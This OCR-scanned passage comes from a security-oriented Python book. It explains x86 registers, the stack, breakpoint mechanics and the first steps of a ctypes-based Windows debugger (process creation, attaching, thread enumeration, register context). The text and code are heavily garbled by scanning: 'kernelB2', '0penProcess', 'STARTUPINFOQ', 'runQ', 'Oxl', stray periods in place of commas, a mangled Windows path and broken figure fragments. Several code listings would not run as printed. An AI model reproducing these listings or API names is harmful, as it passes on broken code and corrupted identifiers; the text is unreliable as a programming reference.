optimized instructions in the x86 instruction set are designed to move data
into and out of the EAX register and perform calculations on that data.
Most basic operations like add, subtract, and compare are optimized to use
the EAX register. As well, more specialized operations like multiplication or
division can occur only with in the EAX register.
As previously noted, return values from function calls are stored in EAX.
This is important to remember, so that you can easily determine if a function
call has failed or succeeded based on the value stored in EAX. In addition,
you can determine the actual value of what the function is returning.
The EDX register is the data register. This register is basically an extension
of the EAX register, and it assists in storing extra data for more complex
calculations like multiplication and division. It can also be used for general-
purpose storage, but it is most commonly used in conjunction with calcula-
tions performed with the EAX register.
The ECX register, also called the count register, is used for looping
operations. The repeated operations could be storing a string or counting
numbers. An important point to understand is that ECX counts downward,
not upward. Take the following snippet in Python, for example:
counter = 0
while counter < 10:
print "Loop number: %d" % counter
counter += 1
If you were to translate this code to assembly, ECX would equal 10 on the
first loop, 9 on the second loop, and so on. This is a bit confusing, as it is the
reverse of what is shown in Python, but just remember that it’s always a down-
ward count, and you’ll be fine.
In x86 assembly, loops that process data rely on the ESI and EDI registers
for efficient data manipulation. The ESI register is the source index for the data
operation and holds the location of the input data stream. The EDI register
points to the location where the result of a data operation is stored, or the
destination index. An easy way to remember this is that ESI is used for reading
and EDI is used for writing. Using the source and destination index registers
for data operation greatly improves the performance of the running program.
The ESP and EBP registers are the stack pointer and the base pointer,
respectively. These registers are used for managing function calls and stack
operations. When a function is called, the arguments to the function are
Debuggers and Debugger Design 15
pushed onto the stack and are followed by the return address. The ESP register
points to the very top of the stack, and so it will point to the return address.
The EBP register is used to point to the bottom of the call stack. In some
circumstances a compiler may use optimizations to remove the EBP register
as a stack frame pointer; in these cases the EBP register is freed up to be used
like any other general-purpose register.
The EBX register is the only register that was not designed for anything
specific. It can be used for extra storage.
One extra register that should be mentioned is the EIP register. This
register points to the current instruction that is being executed. As the CPU
moves through the binary executing code, EIP is updated to reflect the
location where the execution is occurring.
A debugger must be able to easily read and modify the contents of these
registers. Each operating system provides an interface for the debugger to
interact with the CPU and retrieve or modify these values. We’ll cover the
individual interfaces in the operating system-specific chapters.
2.2 The Stack
The stack is a very important structure to understand when developing a
debugger. The stack stores information about how a function is called, the
parameters it takes, and how it should return after it is finished executing.
The stack is a First In, Last Out (FILO) structure, where arguments are pushed
onto the stack for a function call and popped off the stack when the function
is finished. The ESP register is used to track the very top of the stack frame,
and the EBP register is used to track the bottom of the stack frame. The stack
grows from high memory addresses to low memory addresses. Let’s use our
previously covered function my_socks() as a simplified example of how the
stack works.
Function Call in C
int my_socks(color_one, color_two, color_three);
Function Call in x86 Assembly
push color_three
push color_two
push color_one
call my_socks
To see what the stack frame would look like, refer to Figure 2-1.
1 6 Chapter 2
As you can see, this is a straightforward data structure and is the basis for
all function calls inside a binary. When the my_socks() function returns, it pops
off all the values on the stack and jumps to the return address to continue
executing in the parent function that called it. The other consideration is
the notion of local variables. Local variables are slices of memory that are valid
only for the function that is executing. To expand our my_socks() function a
bit, let’s assume that the first thing it does is set up a character array into which
to copy the parameter color_one. The code would look like this:
int my_socks(color_one, color_two, color_three)
{
char stinky_sock_color_one[lo] ;
}
The variable stinky_sock_color_one would be allocated on the stack so
that it can be used within the current stack frame. Once this allocation has
occurred, the stack frame will look like the image in Figure 2-2.
Figure 2-2: The stack frame after the local variable stinky_sock_color_one
has been allocated
Debuggers and Debugger Design 17
Now you can see how local variables are allocated on the stack and how
the stack pointer gets incremented to continue to point to the top of the
stack. The ability to capture the stack frame inside a debugger is very useful
for tracing functions, capturing the stack state on a crash, and tracking down
stack-based overflows.
2.3 Debug Events
Debuggers run as an endless loop that waits for a debugging event to occur.
When a debugging event occurs, the loop breaks, and a corresponding event
handler is called.
When an event handler is called, the debugger halts and awaits direction
on how to continue. Some of the common events that a debugger must trap
are these:
• Breakpoint hits
• Memory violations (also called access violations or segmentation faults)
• Exceptions generated by the debugged program
Each operating system has a different method for dispatching these
events to a debugger, which will be covered in the operating system-specific
chapters. In some operating systems, other events can be trapped as well,
such as thread and process creation or the loading of a dynamic library at
runtime. We will cover these special events where applicable.
An advantage of a scripted debugger is the ability to build custom event
handlers to automate certain debugging tasks. For example, a buffer overflow
is a common cause for memory violations and is of great interest to a hacker.
During a regular debugging session, if there is a buffer overflow and a memory
violation occurs, you must interact with the debugger and manually capture
the information you are interested in. With a scripted debugger, you are able
to build a handler that automatically gathers all of the relevant information
without having to interact with it. The ability to create these customized
handlers not only saves time, but it also enables a far wider degree of control
over the debugged process.
2.4 Breakpoints
The ability to halt a process that is being debugged is achieved by setting
breakpoints. By halting the process, you are able to inspect variables, stack
arguments, and memory locations without the process changing any of their
values before you can record them. Breakpoints are most definitely the most
common feature that you will use when debugging a process, and we will
cover them extensively. There are three primary breakpoint types: soft break-
points, hardware breakpoints, and memory breakpoints. They each have very
similar behavior, but they are implemented in very different ways.
18 Chapter 2
2.4. / Soft Breakpoints
Soft breakpoints are used specifically to halt the CPU when executing instruct-
ions and are by far the most common type of breakpoints that you will use
when debugging applications. A soft breakpoint is a single-byte instruction
that stops execution of the debugged process and passes control to the
debugger’s breakpoint exception handler. In order to understand how this
works, you have to know the difference between an instruction and an opcode
in x 86 assembly.
An assembly instruction is a high-level representation of a command for
the CPU to execute. An example is
MOV EAX, EBX
This instruction tells the CPU to move the value stored in the register
EBX into the register EAX. Pretty simple, eh? However, the CPU does not
know how to interpret that instruction; it needs it to be converted into some-
thing called an opcode. An operation code, or opcode, is a machine language
command that the CPU executes. To illustrate, let’s convert the previous
instruction into its native opcode:
8BC3
As you can see, this obfuscates what’s really going on behind the scenes,
but it’s the language that the CPU speaks. Think of assembly instructions as
the DNS of CPUs. Instructions make it really easy to remember commands
that are being executed (hostnames) instead of having to memorize all of the
individual opcodes (IP addresses). You will rarely need to use opcodes in
your day-to-day debugging, but they are important to understand for the
purpose of soft breakpoints.
If the instruction we covered previously was at address 0x44332211, a
common representation would look like this:
0x44332211: 8BC3 MOV EAX, EBX
This shows the address, the opcode, and the high-level assembly instruc-
tion. In order to set a soft breakpoint at this address and halt the CPU, we
have to swap out a single byte from the 2 -byte 8 BC 3 opcode. This single byte
represents the interrupt 3 (INT 3 ) instruction, which tells the CPU to halt.
The INT 3 instruction is converted into the single-byte opcode OxCC. Here is
our previous example, before and after setting a breakpoint.
Opcode Before Breakpoint Is Set
0x44332211: 8 BC 3 MOV EAX, EBX
Debuggers and Debugger Design 19
Modified Opcode After Breakpoint Is Set
0x44332211: CCC3 MOV EAX, EBX
You can see that we have swapped out the 8B byte and replaced it with
a CC byte. When the CPU comes skipping along and hits that byte, it halts,
firing an INT3 event. Debuggers have the built-in ability to handle this event,
but since you will be designing your own debugger, it’s good to understand
how the debugger does it. When the debugger is told to set a breakpoint at a
desired address, it reads the first opcode byte at the requested address and
stores it. Then the debugger writes the CC byte to that address. When a break-
point, or INT3, event is triggered by the CPU interpreting the CC opcode, the
debugger catches it. The debugger then checks to see if the instruction pointer
(EIP register) is pointing to an address on which it had set a breakpoint
previously. If the address is found in the debugger’s internal breakpoint list,
it writes back the stored byte to that address so that the opcode can execute
properly after the process is resumed. Figure 2-3 describes this process in
detail.
Breakpoint List
Address
Byte
0x44332211
8B
O Debugger is instructed to set a
breakpoint on 0x44332211; © Overwrite the first byte with the
it reads in and stores the first byte. OxCC (INT 3) opcode.
(-CPU (EIP]
© When the CPU hits the breakpoint, -
the internal lookup occurs, and the
byte is flipped back.
8B
Figure 2-3: The process of setting a soft breakpoint
As you can see, the debugger must do quite a dance in order to handle
soft breakpoints. There are two types of soft breakpoints that can be set:
one-shot breakpoints and persistent breakpoints. A one-shot soft breakpoint
means that once the breakpoint is hit, it gets removed from the internal
breakpoint list; it’s good for only one hit. A persistent breakpoint gets restored
after the CPU has executed the original opcode, and so the entry in the
breakpoint list is maintained.
20 Chapter 2
Soft breakpoints have one caveat, however: when you change a byte of
the executable in memory, you change the running software’s cyclic redundancy
check ( CRC) checksum. A CRC is a type of function that is used to determine
if data has been altered in any way, and it can be applied to files, memory,
text, network packets, or anything you would like to monitor for data altera-
tion. A CRC will take a range of values — in this case the running process’s
memory — and hash the contents. It then compares the hashed value against
a known CRC checksum to determine whether there have been changes to
the data. If the checksum is different from the checksum that is stored for
validation, the CRC check fails. This is important to note, as quite often
malware will test its running code in memory for any CRC changes and will
kill itself if a failure is detected. This is a very effective technique to slow
reverse engineering and prevent the use of soft breakpoints, thus limiting
dynamic analysis of its behavior. In order to work around these specific
scenarios, you can use hardware breakpoints.
2.4.2 Hardware Breakpoints
Hardware breakpoints are useful when a small number of breakpoints are
desired and the debugged software itself cannot be modified. This style of
breakpoint is set at the CPU level, in special registers called debug registers. A
typical CPU has eight debug registers (registers DRO through DR7), which
are used to set and manage hardware breakpoints. Debug registers DRO
through DR3 are reserved for the addresses of the breakpoints. This means
you can use only up to four hardware breakpoints at a time. Registers DR4
and DR5 are reserved, and DR6 is used as the status register, which determines
the type of debugging event triggered by the breakpoint once it is hit. Debug
register DR7 is essentially the on/ off switch for the hardware breakpoints
and also stores the different breakpoint conditions. By setting specific flags
in the DR7 register, you can create breakpoints for the following conditions:
• Break when an instruction is executed at a particular address.
• Break when data is written to an address.
• Break on reads or writes to an address but not execution.
This is very useful, as you have the ability to set up to four very specific
conditional breakpoints without modifying the running process. Figure 2-4
shows how the fields in DR7 are related to the hardware breakpoint behavior,
length, and address.
Bits 0-7 are essentially the on/off switches for activating breakpoints.
The L and G fields in bits 0-7 stand for local and global scope. I depict both
bits as being set. However, setting either one will work, and in my experience
I have not had any issues doing so during user-mode debugging. Bits 8-15 in
DR7 are not used for the normal debugging purposes that we will be exer-
cising. Refer to the Intel x86 manual for further explanation of those bits.
Bits 16-31 determine the type and length of the breakpoint that is being set
for the related debug register.
Debuggers and Debugger Design 21
Layout of DR7 Register
L
G
L
G
L
G
L
G
Type
Len
Type
Len
Type
Len
Type
Len
D
R
0
D
R
0
D
R
1
D
R
1
D
R
2
D
R
2
D
R
3
D
R
3
Sip
DR
0
DR
0
DR
1
DR
1
DR
2
DR
2
DR
3
DR
3
0
1
2
3
4
5
6
7
8-15
16 17
18 19
20 21
22 23
24 25
26 27
28 29
30 31
Breakpoint Flags
Breakpoint Length Flags
00 - Break on execution
00 - 1 byte
01 - Break on data writes
01-2 bytes (WORD)
1 1 - Break on reads or writes but not execution
11-4 bytes (DWORD)
Figure 2-4: You can see how the flags set in the DR7 register dictate what type of break-
point is used.
Unlike soft breakpoints, which use the INT3 event, hardware breakpoints
use interrupt 1 (INTI). The INTI event is for hardware breakpoints and single-
step events. Single-step simply means going one-by-one through instructions,
allowing you to very closely inspect critical sections of code while monitoring
data changes.
Hardware breakpoints are handled in much the same way as soft break-
points, but the mechanism occurs at a lower level. Before the CPU attempts
to execute an instruction, it first checks to see whether the address is currently
enabled for a hardware breakpoint. It also checks to see whether any of the
instruction operators access memory that is flagged for a hardware breakpoint.
If the address is stored in debug registers DR0-DR3 and the read, write, or
22 Chapter 2
execute conditions are met, an INTI is fired and the CPU halts. If the address
is not currently stored in the debug registers, the CPU executes the instruction
and carries on to the next instruction, where it performs the check again, and
so on.
Hardware breakpoints are extremely useful, but they do come with
some limitations. Aside from the fact that you can set only four individual
breakpoints at a time, you can also only set a breakpoint on a maximum of
four bytes of data. This can be limiting if you want to track access to a large
section of memory. In order to work around this limitation, you can have
the debugger use memory breakpoints.
2.4.3 Memory Breakpoints
Memory breakpoints aren’t really breakpoints at all. When a debugger is setting
a memory breakpoint, it is changing the permissions on a region, or page, of
memory. A memory page is the smallest portion of memory that an operating
system handles. When a memory page is allocated, it has specific access
permissions set, which dictate how that memory can be accessed. Some
examples of memory page permissions are these:
Page execution This enables execution but throws an access violation if
the process attempts to read or write to the page.
Page read This enables the process only to read from the page; any
writes or execution attempts cause an access violation.
Page write This allows the process to write into the page.
Guard page Any access to a guard page results in a one-time exception,
and then the page returns to its original status.
Most operating systems allow you to combine these permissions.
For example, you may have a page in memory where you can read and write,
while another page may allow you to read and execute. Each operating
system also has intrinsic functions that allow you to query the current memory
permissions in place for a particular page and modify them if so desired.
Refer to Figure 2-5 to see how data access works with the various memory
page permissions set.
The page permission we are interested in is the guard page. This type
of page is quite useful for such things as separating the heap from the stack
or ensuring that a portion of memory doesn’t grow beyond an expected
boundary. It is also quite useful for halting a process when it hits a particular
section of memory. For example, if we are reverse engineering a networked
server application, we could set a memory breakpoint on the region of
memory where the payload of a packet is stored after it’s received. This
would enable us to determine when and how the application uses received
packet contents, as any accesses to that memory page would halt the CPU,
throwing a guard page debugging exception. We could then inspect the
instruction that accessed the buffer in memory and determine what it is
Debuggers and Debugger Design 23
doing will] the contents. This breakpoint technique also works around the
data alteration problems that soft breakpoints have, as we aren’t changing
any of the running code.
Read, Write, or Execution
flags on a memory page
allow data to be moved in
and out or executed on.
010101010110101001010101010010110101010101001
W
K
Read
Write
Execute
V M
Any type of data access
on a guard page will
result in an exception
being raised. The original
data operation will fail.
0101010101101010010101010100101 10101010101001
W
GUARD PAGE EXCEPTION
Figure 2-5 : The behavior of the various memory page permissions
Now that we have covered some of the basic aspects of how a debugger
works and how it interacts with the operating system, it’s time to begin coding
our first lightweight debugger in Python. We will begin by creating a simple
debugger in Windows where the knowledge you have gained in both ctypes
and debugging internals will be put to good use. Get those coding fingers
warmed up.
24 Chapter 2
BUILDING A
WINDOWS DEBUGGER
Now that we have covered the basics, it’s time to
implement what you’ve learned into a real working
debugger. When Microsoft developed Windows, it
added an amazing array of debugging functions to
assist developers and quality assurance professionals. We will heavily utilize
these functions to create our own pure Python debugger. An important thing
to note here is that we are essentially performing an in-depth study of Pedram
Amini’s PyDbg, as it is the cleanest Windows Python debugger implementa-
tion currently available. With Pedram’s blessing, I am keeping the source as
close as possible (function names, variables, etc.) to PyDbg so that you can
transition easily from your own debugger to PyDbg.
Debuggee, Where Art Thou?
In order to perform a debugging task on a process, you must first be able to
associate the debugger to the process in some way. Therefore, our debugger
must be able to either open an executable and run it or attach to a running
process. The Windows debugging API provides an easy way to do both.
There are subtle differences between opening a process and attaching
to a process. The advantage of opening a process is that you have control of
the process before it has a chance to run any code. This can be handy when
analyzing malware or other types of malicious code. Attaching to a process
merely breaks into an already running process, which allows you to skip the
startup portion of the code and analyze specific areas of code that you are
interested in. Depending on the debugging target and the analysis you are
doing, it is your call on which approach to use.
The first method of getting a process to run under a debugger is to
run the executable from the debugger itself. To create a process in Windows,
you call die CreateProcessAQ 1 2 function. Setting specific flags that are passed
into this function automatically enables the process for debugging. A
CreateProcessAQ call looks like this:
BOOL WINAPI CreateProcessA(
LPCSTR IpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES IpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL blnheritHandles,
DWORD dwCreationFlags,
LPVOID IpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO IpStartupInfo,
LPPROCESS_INFORMATION IpProcessInformation
);
At first glance this looks like a complicated call, but, as in reverse
engineering, we must always break things into smaller parts to understand
the big picture. We will deal only with the parameters that are important for
creating a process under a debugger. These parameters are IpApplicationName,
lpCommandLine, dwCreationFlags, IpStartupInfo, and IpProcessInformation. The
rest of the parameters can be set to NULL. For a full explanation of this
call, refer to the Microsoft Developer Network (MSDN) entry. The first two
parameters are used for setting the path to the executable we wish to run and
any command-line arguments it accepts. The dwCreationFlags parameter takes
a special value that indicates that the process should be started as a debugged
process. The last two parameters are pointers to structs (STARTUPINFO" and
PR0CESS_INF0RMATI0N, 3 respectively) that dictate how the process should be
started as well as provide important information regarding the process after
it has been successfully started.
1 See MSDN CreateProcess Function (http://msdn2.microsoft.com/en-us/library/ms682425.aspx) .
2 See MSDN STARTUPINFO Structure (http://msdn2.microsoft.cmn/en-us/library/ms686331.aspx) .
3 See MSDN PROCESS_INFORMATION Structure (http://msdn2.microsoft.com/en-tis/library/
ms686331.aspx) .
26 Chapter 3
Create two new Python files called my_debugger.py and my_debugger_
defines. py. We will be creating a parent debugger () class where we will add
debugging functionality piece by piece. In addition, we’ll put all struct,
union, and constant values into my_debugger_defines.py for maintainability.
mydebuggerdefines.py
from ctypes import *
# Let's map the Microsoft types to ctypes for clarity
WORD = c_ushort
DWORD = c_ulong
LPBYTE = POINTER(c_ubyte)
LPTSTR = POINTER(c_char)
HANDLE = c_void_p
# Constants
DEBUG_PROCESS = 0x00000001
CREATE_NEW_C0NS0LE = 0x00000010
# Structures for CreateProcessAQ function
class STARTUPINFO(Structure) :
field s_ = [
("cb",
DWORD),
("IpReserved",
LPTSTR),
("lpDesktop",
LPTSTR),
("lpTitle",
LPTSTR),
("dwX",
DWORD),
("dwY",
DWORD),
("dwXSize",
DWORD),
("dwYSize",
DWORD),
("dwXCountChars",
DWORD),
("dwYCountChars",
DWORD),
("dwFillAttribute
", DWORD),
("dwFlags",
DWORD),
("wShowWindow" ,
WORD),
("cbReserved2",
WORD),
("lpReserved2",
LPBYTE),
("hStdlnput",
HANDLE),
("hStdOutput",
HANDLE),
("hStdError",
HANDLE),
]
class PR0CESS_INF0RMATI0N (Structure) :
_fields_ = [
("hProcess", HANDLE),
("hThread", HANDLE),
("dwProcessId", DWORD),
("dwThreadld", DWORD),
]
Building a Windows Debugger
27
my debugger.py
from ctypes import *
from my_debugger_defines import *
kernel32 = windll.kernel32
class debugger():
def init (self):
pass
def load (self, path_to_exe) :
# dwCreation flag determines how to create the process
# set creation_flags = CREATE_NEW_CONSOLE if you want
# to see the calculator GUI
creation_flags = DEBUG_PROCESS
# instantiate the structs
startupinfo = STARTUPINFOQ
process_information = PR0CESS_INF0RMATI0N()
# The following two options allow the started process
# to be shown as a separate window. This also illustrates
# how different settings in the STARTUPINFO struct can affect
# the debuggee.
startupinfo. dwFlags = Oxl
startupinfo. wShowWindow = 0x0
# We then initialize the cb variable in the STARTUPINFO struct
# which is just the size of the struct itself
startupinfo. cb = sizeof (startupinfo)
if kernel32.CreateProcessA(path_to_exe,
None,
None,
None,
None,
creation_flags.
None,
None,
byref (startupinfo),
byref (process_information) ) :
print "[*] We have successfully launched the process!"
print "[*] PID: %d" % process_information.dwProcessId
else:
print "[*] Error: 0x%08x." % kernel32.GetLastError()
Now we’ll construct a short test harness to make sure everything works as
planned. Call this file my_test.py, and make sure it’s in the same directory as
our previous files.
28 Chapter 3
mytest.py
import my_debugger
debugger = my_debugger.debugger()
debugger.load("C: \\WINDOWSWsystem32Wcalc.exe")
If you execute this Python file either via the command line or from your
IDE, it will spawn the process you entered, report the process identifier (PID),
and then exit. If you use my example of calc.exe, you will not see the calculator’s
GUI appear. The reason you won’t see the GUI is because the process hasn’t
painted it to the screen yet, because it is waiting for the debugger to continue
execution. We haven’t built the logic to do that yet, but it’s coming soon! You
now know how to spawn a process that is ready to be debugged. It’s time to
whip up some code that attaches a debugger to a running process.
In order to prepare a process to attach to, it is useful to obtain a handle
to the process itself. Most of the functions we will be using require a valid
process handle, and it’s nice to know whether we can access the process
before we attempt to debug it. This is done with OpenProcessQ , 4 which is
exported from kemel32.dll and has the following prototype:
HANDLE WINAPI OpenProcess(
DWORD dwDesiredAccess,
BOOL blnheritHandle
DWORD dwProcessId
);
The dwDesiredAccess parameter indicates what type of access rights
we are requesting for the process object we wish to obtain a handle to. In
order to perform debugging, we have to set it to PROCESS_ALL_ACCESS. The
blnheritHandle parameter will always be set to False for our purposes, and
the dwProcessId parameter is simply the PID of the process we wish to obtain
a handle to. If the function is successful, it will return a handle to the process
object.
We attach to the process using the DebugActiveProcessQ 5 function, which
looks like this:
BOOL WINAPI DebugActiveProcess(
DWORD dwProcessId
);
We simply pass it the PID of the process we wish to attach to. Once the
system determines that we have appropriate rights to access the process, the
target process assumes that the attaching process (the debugger) is ready
to handle debug events, and it relinquishes control to the debugger. The
4 See MSDN OpenProcess Function ( http://msdn2.microsoft.com/en-us/library/ms684320.aspx ).
5 See MSDN DebugActiveProcess Function ( http://msdn2.microsoft.com/en-us/library/
ms6 79293. aspx ) .
Building a Windows Debugger
29
debugger traps these debugging events by calling WaitForDebugEventQ 6 in a
loop. The function looks like this:
BOOL WINAPI WaitForDebugEvent (
LPDEBUG_EVENT lpDebugEvent,
DWORD dwMilliseconds
);
The first parameter is a pointer to the DEBUG_EVENT' struct; this structure
describes a debugging event. The second parameter we will set to INFINITE so
that the WaitForDebugEventQ call doesn’t return until an event occurs.
For each event that the debugger catches, there are associated event
handlers that perform some type of action before letting the process continue.
Once the handlers are finished executing, we want the process to continue
executing. This is achieved using the ContinueDebugEventQ 8 function, which
looks like this:
BOOL WINAPI ContinueDebugEvent(
DWORD dwProcessId,
DWORD dwThreadld,
DWORD dwContinueStatus
);
The dwProcessId and dwThreadld parameters are fields in the
DEBUG_EVENT struct, which gets initialized when the debugger catches a
debugging event. The dwContinueStatus parameter signals the process to
continue executing (DBG_CONTINUE) or to continue processing the exception
(DBG_EXCEPTION_NOT_HANDLED).
The only thing left to do is to detach from the process. Do this by calling
DebugActiveProcessStopQ , 9 which takes the PID thatyou wish to detach from as
its only parameter.
Let’s put all of this together and extend our my_debugger class by providing
it the ability to attach to and detach from a process. We will also add the ability
to open and obtain a process handle. The final implementation detail will
be to create our primary debug loop to handle debugging events. Open
my_debugger.py and enter the following code.
WARNING All of the required structs, unions, and constants have been defined in the my _
debugger_defmes.py/«7c in the companion source code available from http:/ /
www.nostarch.com/ghpython.htm. Download this file now and overwrite your
current copy. We ivon ’t cover the creation of structs, unions, and constants any further,
as you should feel intimately familiar with them by now.
6 See MSDN WaitForDebugEvent Function (http://msdn2.microsoft.com/en-us/library/
ms681 423. aspx) .
7 See MSDN DEBUG_EVENT Structure ( http://msdn2.microsoft.com/en-us/library/ms679308.aspx ).
8 See MSDN ContinueDebugEvent Function ( http://msdn2.microsoft.com/en-us/library/
ms6 79285. aspx) .
9 See MSDN DebugActiveProcessStop Function ( http://msdn2.microsoft.com/en-us/library/
ms 6 79296. aspx) .
30 Chapter 3
my debugger.py
from ctypes import *
from my_debugger_defines import *
kernel32 = windll.kernel32
class debugger():
def init (self):
self .h_process = None
self.pid = None
self ,debugger_active = False
def load (self, path_to_exe) :
print "[*] We have successfully launched the process!"
print "[*] PID: %d" % process_information.dwProcessId
# Obtain a valid handle to the newly created process
# and store it for future access
self .h_process = self ,open_process (process_informat ion. dwProcessId)
def open_process(self,pid) :
h_process = kernel32.0penProcess(PR0CESS_ALL_ACCESS,pid, False)
return h_process
def attach(self,pid) :
self ,h_process = self .open_process(pid)
# We attempt to attach to the process
# if this fails we exit the call
if kernel32.DebugActiveProcess(pid) :
self.debugger_active = True
self.pid = int(pid)
self.runQ
else:
print "[*] Unable to attach to the process."
def run (self) :
# Now we have to poll the debuggee for
# debugging events
while self ,debugger_active == True:
self . get_debug_event ( )
Building a Windows Debugger
31
def get_debug_event(self) :
debug_event = DEBUG_EVENT()
continue_status= DBG_CONTINUE
if kernelB2 . WaitForDebugEvent (byref (debug_event ) , INFINITE ) :
# We aren't going to build any event handlers
# just yet. Let's just resume the process for now.
raw_input("Press a key to continue...")
self ,debugger_active = False
kernel32.ContinueDebugEvent( \
debug_event.dwProcessId, \
debug_event.dwThreadId, \
continue_status )
def detach(self) :
if kernelB2.DebugActiveProcessStop(self.pid) :
print "[*] Finished debugging. Exiting..."
return True
else:
print "There was an error"
return False
Now let’s modify our test harness to exercise the new functionality we
have built in.
my_t e st.py
import my_debugger
debugger = my_debugger.debugger()
pid = raw_input("Enter the PID of the process to attach to: ")
debugger. attach (int(pid))
debugger. detach()
To test this out, use the following steps:
1. Choose Start ► Run ► All Programs ► Accessories ► Calculator.
2. Right-click the Windows toolbar, and select Task Manager from the
pop-up menu.
3. Select the Processes tab.
4. If you don’t see a PID column in the display, choose View ► Select
Columns.
5. Ensure the Process Identifier (PID) checkbox is checked, and click OK.
6. Find the PID that calc.exe is associated with.
32 Chapter 3
7. Execute the my _test.py file with the PID you found in the previous step.
8. When Press a key to continue. . . is printed to the screen, attempt to
interact with the calculator GUI. You shouldn’t be able to click any of
the buttons or open any menus. This is because the process is suspended
and has not yet been instructed to continue.
9. In your Python console window, press any key, and the script should
output another message and then exit.
10. You should now be able to interact with the calculator GUI.
If everything works as described, then comment out the following two
lines from my_debugger.py:
# raw_input("Press any key to continue...")
It self.debugger_active = False
Now that we have explained the basics of obtaining a process handle,
creating a debugged process, and attaching to a running process, we are
ready to dive into more advanced features that our debugger will support.
3.2 Obtaining CPU Register State
A debugger must be able to capture the state of the CPU registers at any
given point and time. This allows us to determine the state of the stack when
an exception occurs, where the instruction pointer is currently executing,
and other useful tidbits of information. We first must obtain a handle to the
currently executing thread in the debuggee, which is achieved by using the
OpenThread () 10 function. It looks like the following:
HANDLE WINAPI OpenThread(
DWORD dwDesiredAccess,
BOOL blnheritHandle,
DWORD dwThreadld
);
This looks much like its sister function OpenProcessQ, except this time
we pass it a thread identifier (TID) instead of a process identifier.
We must obtain a list of all the threads that are executing inside the
process, select the thread we want, and obtain a valid handle to it using
OpenThreadQ. Let’s explore how to enumerate threads on a system.
3.2. 1 Thread Enumeration
In order to obtain register state from a process, we have to be able to
enumerate through all of the running threads inside the process. The
threads are what are actually executing in the process; even if the application
10 See MSDN OpenThread Function ( http://msdn2.microsoft.com/en-us/library/ms684335.aspx ).
Building a Windows Debugger
33
is not multithreaded, it still contains at least one thread, the main thread
We can enumerate the threads by using a very powerful function called
CreateToolhelp32Snapshot(), 11 which is exported from kernel32.dll. This func-
tion enables us to obtain a list of processes, threads, and loaded modules
(DLLs) inside a process as well as the heap list that a process owns. The
function prototype looks like this:
HANDLE WINAPI CreateToolhelp32Snapshot(
DWORD dwFlags,
DWORD th32ProcessID
);
The dwFlags parameter instructs the function what type of information it
is supposed to gather (threads, processes, modules, or heaps). We set this to
TH 32 CS_SNAPTHREAD, which has a value of 0x00000004; this signals that we want to
gather all of the threads currently registered in the snapshot. The th 32 ProcessID
is simply the PID of the process we want to take a snapshot of, but it is used
only for the TH32CS_SNAPM0DULE, TH32CS_SNAPM0DULE32, TH32CS_SNAPHEAPLIST, and
TH 32 CS_SNAPALL modes. So it’s up to us to determine whether a thread belongs
to our process or not. When CreateToolhelp32Snapshot() is successful, it returns
a handle to the snapshot object, which we use in subsequent calls to gather
further information.
Once we have a list of threads from the snapshot, we can begin enumerat-
ing them. To start the enumeration we use the Thread32First() 1 “ function,
which looks like this:
BOOL WINAPI Thread32First(
HANDLE hSnapshot,
LPTHREADENTRY32 lpte
h
The hSnapshot parameter will receive the open handle returned
from CreateToolhelp32Snapshot(), and the lpte parameter is a pointer
to a THREADENTRY 32 1 5 structure. This structure gets populated when the
Thread 32 First() call completes successfully, and it contains relevant
information for the first thread that was found. The structure is defined
as follows.
typedef struct THREADENTRY32{
DWORD dwSize;
DWORD cntUsage;
DWORD th32ThreadID;
DWORD th320wnerProcessID;
LONG tpBasePri;
11 See MSDN CreateToolhelp32Snapshot Function ( http://msdn2.microsoft.com/en-us/library/
ms682489. aspx) .
12 See MSDN Thread32First Function (http://msdn2.microsoft.com/en-us/library/ms686728.aspx) .
13 See MSDN THREADENTRY32 Structure ( http://msdn2.microsoft.com/en-us/library/
ms686 735. aspx) .
34 Chapter 3
LONG tpDeltaPri;
DWORD dwFlags;
The three fields in this struct that we are interested in are dwSize,
th32ThreadID, and th320wnerProcessID. The dwSize field must be initialized
before making a call to the Thread32First() function, by simply setting it to
the size of the struct itself. The th 32 ThreadID is the TID for the thread we are
examining; we can use this identifier as the dwThreadld parameter for the
previously discussed OpenThreadQ function. The th320wnerProcessID field is the
PID that identifies which process the thread is running under. In order for
us to determine all threads inside our target process, we will compare each
th320wnerProcessID value against the PID of the process we either created or
attached to. If there is a match, then we know it’s a thread that our debuggee
owns. Once we have captured the first thread’s information, we can move on
to the next thread entry in the snapshot by calling Thread 32 Next(). It takes the
exact same parameters as the Thread 32 First() function that we’ve already
covered. All we have to do is continue calling Thread32Next() in a loop until
there are no threads left in the list.
3.2.2 Putting It All Together
Now that we can obtain a valid handle to a thread, the last step is to grab
the values of all the registers. This is done by calling GetThreadContextQ , 14
as shown here. As well, we can use its sister function SetThreadContextQ 1 ' 1
to change the values once we have obtained a valid context record.
BOOL WINAPI GetThreadContext(
HANDLE hThread,
LPCONTEXT lpContext
);
BOOL WINAPI SetThreadContext(
HANDLE hThread,
LPCONTEXT lpContext
);
The hThread parameter is the handle returned from an OpenThreadQ call,
and the lpContext parameter is a pointer to a CONTEXT structure, which holds
all of the register values. The CONTEXT structure is important to understand
and is defined like this:
typedef struct CONTEXT {
DWORD ContextFlags;
DWORD Dro;
14 See MSDN GetThreadContext Function (http://msdn2.micmsofl.com/en-us/library/
ms 6 79362. aspx) .
15 See MSDN SetThreadContext Function ( http://msdn2.microsoft.com/en-us/library/
ms680632. aspx ) .
Building a Windows Debugger
35
DWORD Drl;
DWORD Dr2;
DWORD DrB;
DWORD Dr6;
DWORD Dr7;
FLOATING_SAVE_AREA FloatSave;
DWORD SegGs;
DWORD SegFs;
DWORD SegEs;
DWORD SegDs;
DWORD Edi;
DWORD Esi;
DWORD Ebx;
DWORD Edx;
DWORD Ecx;
DWORD Eax;
DWORD Ebp;
DWORD Eip;
DWORD SegCs;
DWORD EFlags;
DWORD Esp;
DWORD SegSs;
BYTE ExtendedRegisters [MAXIMUM_SUPPORTED_EXTENSION] ;
};
As you can see, all of the registers are included in this list, including the
debug registers and the segment registers. We will be relying heavily on this
structure throughout the remainder of our debugger-building exercise, so
make sure you’re familiar with it.
Let’s go back to our old friend my_debugger.py and extend it a bit more to
include thread enumeration and register retrieval.
mydebugger.py
class debuggerQ:
def open_thread (self, thread_id):
h_thread = kernel32.0penThread(THREAD_ALL_ACCESS, None,
thread_id)
if h_thread is not None:
return h_thread
else:
print "[*] Could not obtain a valid thread handle."
return False
